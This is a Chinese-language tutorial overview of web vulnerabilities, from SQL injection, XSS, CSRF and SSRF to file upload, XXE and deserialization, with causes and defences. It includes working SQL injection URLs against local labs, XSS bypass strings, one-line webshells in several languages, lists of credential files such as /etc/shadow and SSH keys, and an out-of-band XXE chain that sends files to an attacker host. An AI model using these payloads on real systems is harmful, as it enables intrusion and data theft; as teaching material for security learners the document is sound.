admin管理员组

文章数量:1547204

SQL注入

概述

SQL注入是服务器端未严格校验客户端发送的数据,而导致服务器端SQL语句被恶意修改并成功执行的行为

本质:用户的输入被当作做代码进行执行。

类型

  1. 按数据类型:数字型注入,字符型注入;
  2. 按注入方式:联合注入,报错注入,布尔盲注,时间盲注…

联合注入

数字型注入

sql语句:

id=$id#这里是数字型

闭合语句:

http://127.0.0.1/sqli/Less/?id=1 -- qwe

字符型注入

sql语句:

id='$id'#这里是单引号闭合,也可以是双引号或者括号

闭合语句:

http://127.0.0.1/sqli/Less/?id=1' -- qwe

注入流程

  1. 判断注入类型

  2. 构造闭合

  3. 判断字段数

    order by后接表字段数,字段数正确页面显示正常,可使用二分法进行查询比对。

    http://127.0.0.1/sqli/Less/?id=1' order by 3 -- qwe
    
  4. 测试回显点

    根据字段数进行联合查询,观察页面回显位,根据回显回显位进行后续查询。

    http://127.0.0.1/sqli/Less/?id=-1' union select 1,2,3 -- qwe
    

    注:联合查询前的语句需查询失败才执行后面语句。

  5. 联合查询

    • 数据库版本查询

    如果第四步测试出2,3位为回显位:

    http://127.0.0.1/sqli/Less/?id=-1' union select 1,version(),database
    () -- qwe
    
    • 数据库查询

    查询当前库下的数据表:

    http://127.0.0.1/sqli/Less/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- qwe
    
    • 表查询

    若查询出uers表,现在可以查询表下字段:

    http://127.0.0.1/sqli/Less/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' -- qwe
    
    • 数据查询

    若查询uers表下有username,password字段:

    http://127.0.0.1/sqli/Less/?id=-1' union select 1,group_concat(username),group_contcat(password) from users -- qwe
    

报错注入

没有回显点,但有报错信息时则可以使用报错注入,利用报错信息,结合函数规则进行数据读取的一种注入攻击。

函数解析

  • updatexml()函数

    用法:updatexml(目标xml内容,xml文件路径,更新的内容)

    updatexml(1,concat(0x7e,( version() )),1)
    
  • extractvalue()函数

    用法:extractvalue(目标xml文档,xml路径)

    extractvalue(1,concat(0x7e,( version() )))
    

注入流程

  1. 判断注入类型

  2. 构造闭合

  3. 判断字段数

  4. 函数查询

    • 数据库版本号查询
    http://127.0.0.1/sqli/Less-5/?id=-1' and updatexml(1, concat (0x7e,version(),1) -- qwe
    
    • 查询当前数据库下表
    http://127.0.0.1/sqli/Less-5/?id=-1' and updatexml(1, concat (0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),1) -- qwe
    
    • 查询表下字段
    http://127.0.0.1/sqli/Less-5/?id=-1' and updatexml(1, concat (0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1) -- qwe
    
    • 查询字段数据
    http://127.0.0.1/sqli/Less-5/?id=-1' and updatexml(1,concat(0x7e,group_concat(password) from users),1)
    

盲注

所谓盲注就是在服务器没有错误回显的时候完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,只能根据页面的正常与否或是运行时常进行猜测判断。

盲注分为布尔盲注和时间盲注,布尔盲注根据传参返回的true或者flase进行判断,时间盲注根据页面返回时间进行判断。

函数解析:

  • substr()函数

substr (str,m,n):m从第m个字符开始截取,n截取后字符串长度为n;从1开始截取。

  • ascii()函数

返回字符的ASCII码值。

  • if(expr1,expr2,expr3)

判断语句,expr1为真执行expr2,为假执行expr3

  • sleep()

将程序挂起一段时间n为n秒

  • length()

返回字符串的长度

时间盲注

传参任何东西返回结果都一样,页面返回值只有一种,true,无论输入任何值,返回情况都会按照正常的进行处理,加入特定的时间函数,通过查看web页面返回的时间差来判断注入语句是否正确。

注入流程:

  1. 判断注入点

    ' and sleep(5) -- qwe
    
  2. 探测if语句是否可以使用

    ' and if(1=2,sleep(20),null) -- qwe
    
  3. 判断数据库版本号

    ' and if (length(substr(select version(),1,1))=5,null,sleep(5)) -- qwe
    
  4. 判断数据库名

    ' and if(ascii(substr(database(),1,1)) >97,null,sleep(5)) -- q
    
    
  5. 判断单个字符

    ' and if(ascii(substr(database(),1,1)) =115,null,sleep(5)) -- q
    

布尔盲注

页面有回显,但是不会显示具体的内容,只会根据传参信息返回true和false。

  1. 判断注入点

  2. 判断数据库版本号

    http://127.0.0.1/sqli/Less-8/?id=1' and substr(version(),1,1)=5 -- qwe
    
  3. 判断数据库名

    http://127.0.0.1/sqli/Less-8/?id=1' and length(database())=8 -- qwe
    

    数据库名长度为8,可进行猜单词,会不会是security,8个字母,使用 substr()、ascii()验证猜想,s的ascii码值为115

    http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 -- qwe
    

以此类推进行信息猜测判断,对于盲注来说手工注入很麻烦时间,可以使用sqlmap进行sql注入。

宽字节注入

目前多数网站使用的都为UTF-8编码,如果网站使用了 addslashes()函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入。

函数解析

addslashes()函数,判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

UTF-8编码,一个中文字符占三个字节;GBK编码,一个中文字符占两个字节。字符和转义的反斜杠组成了新的汉字,但是组成的新汉字又不是一个正常的汉字,就起到了注掉\的作用。

注入流程

  1. 判断注入点

  2. 判断字段数

    http://127.0.0.1/sqli/Less-32/?id=1%df' order by 4 -- qwe
    
  3. 判断输出点

    http://127.0.0.1/sqli/Less-32/?id=999999%df' union select 1,2,3 -- qwe
    
  4. 查询数据库信息

    • 数据库版本号
    http://127.0.0.1/sqli/Less-32/?id=999999%df' union select 1,2,version() -- qwe
    
    • 数据库查询
    http://127.0.0.1/sqli/Less-32/?id=999999%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
    
    • 表查询
    http://127.0.0.1/sqli/Less-32/?id=999999%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
    
    • 信息查询
    http://127.0.0.1/sqli/Less-32/?id=999999%df' union select 1,group_concat(username),group_concat(password) from users -- qwe
    

堆叠注入

在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

使用:

1;select if (length(database())>1,sleep(5),1)

危害

  1. 数据库信息泄露;
  2. 网页篡改;
  3. 网站被挂马;
  4. 服务器被远程操控;
  5. 破坏硬盘数据,瘫痪全系统。

SQLMAP

安装

  1. 首要下载安装python环境
  2. 在官网下载解压
  3. 将解压文件放置到python文件下

使用

  • -v 参数用来指定输出数据的详细程度,一共有七个等级(0-6)
  • -u 访问路径
  • -B 布尔型盲注
  • -T 时间型盲注
  • -U 联合查询注入
  • -S 堆查询注入
  • -E 报错型注入
  • –tamper unmagicquotes.py

XSS-跨站脚本攻击

概述

XSS跨站脚本(Cross-Site Scripting,XSS),XSS最大的特点就是能注入恶意的HTML/JavaScript代码到用户浏览的网页上,是因WEB应用程序对用户输入过滤不足而产生的,当用户浏览这些网页时,就会执行其中的恶意代码。由于HTML代码和客户端JavaScript脚本能在受害者主机上的浏览器任意执行,这样等同于完全控制了WEB客户端的逻辑,在这个基础上,黑客可以轻易地发起Cookie窃取,会话劫持,钓鱼欺骗等各种各样的攻击。

本质:用户输入的数据被当作代码执行

形成原因:主要原因是页面对输入和输出的控制不够严格,导致“精心构造的脚本代码”输入后,被浏览器当作有效代码解析执行从而产生危害

类型

  • 反射型、

    反射型XSS也被称为非持久性XSS,是现在最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。交互的数据一般不会被存放在数据库里面,一次性。一般出现在查询类页面等。

  • 存储型

    存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本。允许用户存储数据的WEB应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当再次访问页面时,这段XSS代码被程序读取响应给浏览器,造成XSS跨站攻击,这就是存储型XSS。一般出现在留言板、注册等页面。

  • DOM型

    DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。

    DOM型 XSS漏洞是基于文档对象模型(Document Object Model,DOM)的一种漏洞。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM型 XSS漏洞。不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题。

    危害程度:存储型 > 反射型 > DOM型

XSS触发方式

  • 标签:
<script>alert(1)</script>
  • 伪协议:
<a href=javascript:alert(1)>123</a>
  • 事件:
<img src='#' onerror=alert(1) />

常见的HTML事件

事件描述
onchangeHTML元素改变
onclick用户点击HTML元素
onmouseover用户从一个html元素上移动鼠标
onmouseout用户从一个HTML元素上移开鼠标
onkeydown用户按下键盘按键
onload浏览器已完成页面的加载
onfocus元素获得焦点
onerror当加载文档或图像时发送某个错误
oninput当用户输入时

常见绕过方式

前端限制:抓包重放,或是直接修改HTML前端代码;

大小写绕过:

<ScRipT>AlERt(1)</ScrIPt>

重写拼凑绕过:

<scri<script>pt>alert(11)</scr</script>ipt>

危害

  1. 网络钓鱼,包括盗取各类用户账号;
  2. 窃取用户的cookie资料,或是利用用户信息进一步渗透;
  3. 劫持会话;
  4. 强制弹窗,刷流量;
  5. 网页挂马等。

防护

总的原则:输入做过滤,输出做转义

  1. 对输入进行验证过滤,限定输入长度;
  2. 建立黑白名单;
  3. 输出编码,所有输出到前端的数据都要根据输出点做转义;
  4. a标签href做防范措施,只允许用户输入http或hppts开头的协议,其次在进行htmlspecialchars()处理。htmlspecialchars()函数把预定义的字符转换为HTML实体。

CSRF-跨站请求攻击

概述

CSRF(Cross-site request forgery)跨站请求伪造,攻击者伪造一个请求(一般是一个链接),然后欺骗目标用户进行点击,一旦用户点击了请求,整个攻击完成。故CSRF攻击也称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

危害

攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账…造成的问题包括:个人隐私泄露以及财产安全。

防护

  1. 使用验证码;
  2. 增加Referer字段
  3. 增加Token值,对关键操作增加token参数,token值必须足够随机,每次都不一样;
  4. 安全的会话管理,不要在客户端保存敏感信息(比如身份认证信息),设置会话过期机制。

SSRF-服务器请求伪造

概述

SSRF(Server-Side Request Forgery:服务器端请求伪造)是指服务端提供了从其他服务器获取数据的功能,但没有对内网目标地址做过滤与限制。攻击者能够从易受攻击的Web应用程序发送精心设计的请求的对其他网站进行攻击,利用一个可发起网络请求的服务当作跳板来攻击其他服务。

形成原因:服务端提供了从其他服务器获取数据的功能,但没有对内网目标地址做过滤与限制

危害

  1. 扫描内部网络;
  2. 向内部任意主机和任意端口发送精心构造的数据包;
  3. DOS;
  4. 暴力穷举等。

防护

  1. 统一错误信息
  2. 限制请求的端口
  3. 过滤返回的信息
  4. 黑名单内网ip
  5. 限制内网Ip传参
  6. 开启内部访问也需要身份认证
  7. 禁用其他协议,仅允许http,https

CSRF、SSRF、XSS

XSS:跨站脚本攻击,获取cookie,在浏览器上执行

CSRF: 跨站请求伪造,利用cookie,在浏览器上执行

SSRF:服务器端请求伪造,在服务端上执行

CSRF与SSRF区别

CSRF的核心是让客户端的浏览器去访问,SSRF核心是让服务器去访问。

CSRF与XSS区别

xss为跨站脚本攻击,一个为伪造cookie等验证信息,一个则是使用一个脚本攻击。

XSS 核心是操作目标网站的HTML代码窃取Cookie ;CSRF 核心是在非目标网站的HTML代码做手脚,让受害者浏览器偷偷的去访问目标网站。

CSRF与XSS区别

CSRF是借助用户的权限完成的,攻击者并没有拿到用户的权限

XSS是直接盗取用户的权限,然后实施破坏

文件上传漏洞

概述

只要WEB应用程序允许上传文件,就有可能存在文件上传漏洞。在不对被上传的文件进行限制或者限制被绕过,该功能便有可能被利用于上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,通过访问这些恶意脚本中代码,进一步影响服务器安全。

形成原因:在开发文件上传功能时,没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能。

webshell

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。

一句话木马

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。一句话木马客户端:菜刀、蚁剑、冰蝎。

  • asp一句话木马:
<%eval request("c")%>
  • php一句话木马:
<?php @eval($_POST[value]);?>
  • aspx一句话木马:
<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>
  • jsp一句话:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> 

除此之外还有小马,大马,图片马等可以进行利用。

常见的绕过方式

  • 前端验证绕过,通过修改数据包;

  • 黑名单绕过

    1. 利用php、asp等脚本的别名绕过;

    2. .htaccess文件绕过;

      将png文件当成php语句执行。

      AddType application/x-httpd-php .png
      
    3. 大小写绕过;

    4. 文件后缀绕过;

      (空)绕过;后缀(点)饶过(windows有一个特性,会自动去掉后缀名最后的);双写饶过。

    5. :: D A T A ( W i n d o w s 文件流绕过)【利用 w i n d o w s 特性,可在后缀名中加” : : DATA(Windows文件流绕过)【利用windows特性,可在后缀名中加” :: DATAWindows文件流绕过)【利用windows特性,可在后缀名中加::DATA”绕过】。

  • 白名单绕过

    1. %00截断(GET型和POST型);
    2. 图片马(配合解析漏洞);
    3. 二次渲染饶过;
    4. 条件竞争。
  • Content-Type方式绕过

防护

  • 客户端
    不在前端使用JS限制策略

  • 通过服务端对上传文件进行限制

    1. 进行多条件组合检查:如文件的大小、路径、扩展名、文件类型、文件完整性;
    2. 对上传的文件在服务器上存储时进行重命名;
    3. 对服务端上传文件的目录进行权限控制,限制执行权限带来的危害。

文件包含漏洞

概述

开发人员通常会把可重复使用的函数写到单个文件中,在使用到某些函数时,可直接调用此文件,而无须再次编写,这种调用文件的过程被称为包含。文件包含漏洞的产生原因是在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,最终造成攻击者进行任意文件包含。

函数解析

  • include:

    使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行。

  • require:

    在php文件被执行之前,php解析器会用被引用的文件的全部内容替换require语句,然后与require语句之外的其他语句组成个新的php文件,最好后按新的php文件执行程序代码。

  • include_once:

    使用include_once**会在导入文件前先检测该文件是否在该页面的其他部分被引用过,如果有,则不会重复引用该文件,程序只能引用一次。(要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为php不允许相同名称的函数被重复声明)

  • require_once:

    require语句的延伸,他的功能与require语句基本一致,不同的是,在应用require_once时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。(同时使用require_once语句在同一页面中引用了两个相同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行)

防护

  1. 无需情况下设置allow_url_include和allow_url_fopen为关闭;
  2. 可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir;
  3. 建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符;
  4. 严格检查include类的文件包含函数中的参数是否外界可控;

业务逻辑漏洞

越权漏洞

概述

越权漏洞是一种很常见的逻辑安全漏洞,是由于服务器端对客户提出的数据操作请求过分信任,忽略了对该用户操作权限的判定,导致修改相关参数就可以拥有了其他账户的增、删、查、改功能,从而导致越权漏洞。

分类

水平越权:相同权限下不同的用户可以互相访问;

垂直越权:使用权限低的用户可以访问到权限较高的用户;

交叉越权:既可水平也可垂直。

防护

  1. 验证一切来自客户端的参数,重点是和权限相关的参数,比如用户ID或者角色权限ID等。
  2. session ID 和认证token做绑定,放在服务器的会话里,不发送给客户端。
  3. 对于用户登录后涉及用户唯一信息的请求,每次都要验证检查所有权,敏感信息页面加随机数的参数,防止浏览器缓存内容。
  4. 把程序分成匿名、授权和管理的区域,将角色和数据功能匹配。

未授权访问

概述:未授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后,将相关的页面链接复制到其他浏览器或其他电脑上进行访问,观察是否能访问成功。(只要输入正确的网址就可以直接访问)

防护:对未授权访问页面做Session认证,并对用户访问的每一个URL做身份鉴别,正确地校验用户ID及Token等。

验证码绕过

常见的绕过

前端验证验证码,并没有后端验证,直接抓包然后进行跑数据包(前端验证不可靠)

验证码设置了但是并没有效验,乱输验证码也能够成功的登录

验证码可以重复使用

验证码空值绕过

验证码干扰过低,轻松使用脚本识别

验证码会在HTML页面输出

验证码可控制,比如他的验证码包含在URL里面,是一个URL传参,我们可以把URL设置定,那么验证码可控制

验证码有规则,比如是时间戳的后6位

验证码有的时候会藏在cookie里面,分析一下是不是存在验证码的参数

有万能验证码,验证码无论是什么,只要输入000000就能直接绕过

密码找回漏洞

场景

密码找回凭证可被暴力破解;

密码找回凭证直接返回给客户端;

密码重置链接存在弱Token;

密码重置凭证与用户账户关联不严;

重新绑定用户手机或邮箱;

防护:发送一个重置密码的链接到邮箱

任意文件下载

原理:大多数业务系统或站点为用户提供了下载功能,如果未对用户访问或下载文件做出任何限制,则有可能导致任意文件下载漏洞。使得用户可以查看或下载服务器上的任意文件。

危害:任意文件下载漏洞可以导致敏感信息(如源码、配置信息、口令等)泄露。攻击者可以进行口令破解或进行信息收集,通过对服务器配置文件的下载,获取到大量的配置信息、源码,从而根据获取的信息来进一步挖掘服务器漏洞从而入侵。

windows下敏感文件:

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件

linux下敏感文件:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/myf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件

代码执行漏洞

原理:用户输入的数据被当做后端代码进行执行。

<?php @eval($_REQUEST[8])?> //其实一句话木马的本质就是一个代码执行漏洞

函数解析

eval($a); //eval是代码执行用的最多的,他可以多行执行

eval($_REQUEST['a']);

assert($a)//只能单行执行

assert($_REQUEST['a']);

file_put_contents()写文件

file_put_contents('1.php','<?php var_dump(8);phpinfo();?>') 

特殊组合:${}

//PHP版本5.5及其以上版本可以使用
${phpinfo()}; // 代码执行phpinfo()

命令执行

原理:用户输入的数据被当做系统命令进行执行。

<?php system('whoami')?> //其实一句话木马的本质就是一个命令执行漏洞。用户输入的数据被当做系统命令进行执行。

因为代码执行的情况下,可以调用命令执行的函数,所以大部分代码执行都可以调用系统命令,菜刀的终端操作也是利用了命令执行的函数。执行也可以写文件的方法获得Webshell。

函数解析

system('whoami');//PHP会操纵计算机执行whoami的命令,且输出并返回结果
echo exec('whoami');//PHP会去操纵计算机执行whoami的命令,且获取最后一行数据,需要人为打印输出
echo shell_exec('whoami';//PHP会去操纵计算机执行whoami的命令,且获取所有数据,需要人为打印输出
”||”与” |”的区别 (CMD中):
    命令 1|| 命令 2
    如果命令1正确,则只执行命令1
    如果命令1不正确,则执行命令2
    命令 1|命令 2
    命令1执行成功,执行命令2

XXE

概述

有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)简单来说,用户输入的数据被当做XML代码进行了执行,然后利用DTD部分可以通过SYSTEM关键词发起网络请求从而获得数据。

本质:用户输入的数据被当做XML实体代码进行执行

XML

可扩展标记语言,xml标签没有被预定义,需要自定义标签。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行,简单来说就是一个存储数据的。

外部实体

DTD部分里面的一个特殊的地方(SYSTEM)可以调用外部文件进行XML文件的规划(发起网络请求)。

<!ENTITY 实体名称 SYSTEM “URI/URL”> 
<?xml version="1.0"?>
<!DOCTYPE ANY[ 
<!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">
]>
<x>&f;</x>
<?xml version="1.0" encoding="UTF-8" ?>
 
<!DOCTYPE note [
    <!ENTITY hack "hello world">
]>
 
<name>&hack;</name>

XXE 攻击

payload//只需要读取文件然后加载1.xml,1.xml会将读取文件的内容发送给2.php。2.php会储存到3.txt

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=敏感文件路径">
//base64加密读取的信息存放在file变量中
<!ENTITY % remote SYSTEM "http://自己公网ip/xxe/1.xml">  
%remote;
%send; 
]>

1.xml

 <!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://自己公网ip/xxe/2.php?id=%file;'>"
    >
    %all;

2.php

<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>

危害

  1. 任意文件读取;
  2. 系统命令执行;
  3. 内网端口探测;
  4. 攻击内网网站。

防护

  1. 使用开发语言提供的禁用外部实体的方法;

  2. 过滤用户提交的XML数据;

    关键词:SYSTEM和PUBLIC。

反序列化漏洞

概述

序列化 (serialize):是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】

简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中

反序列化:序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】

与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次环境而言,可以从序列化后的结果中恢复对象(object)。

本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

函数解析

php中有一类特殊的方法叫“Magic function”(魔术方法), 这里我们着重关注一下几个:

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)

__destruct():当对象被销毁时会自动调用。(析构函数)

__wakeup() :如前所提,unserialize()时会自动调用。

变量覆盖

原理:变量覆盖指的是可以用我们的传参值替换程序原有的变量值

用自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。

函数解析:

  • extract():将数组中将变量导入到当前的符号表;将数组中的键作为变量名,值作为变量的值。

  • parse_str():将查询字符串解析到变量中;在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量。

    注意:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

  • 不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$:

    $$这种写法称为可变变量,一个可变变量获取了一个普通变量的值作为这个可变变量的变量名

本文标签: 详解漏洞常见web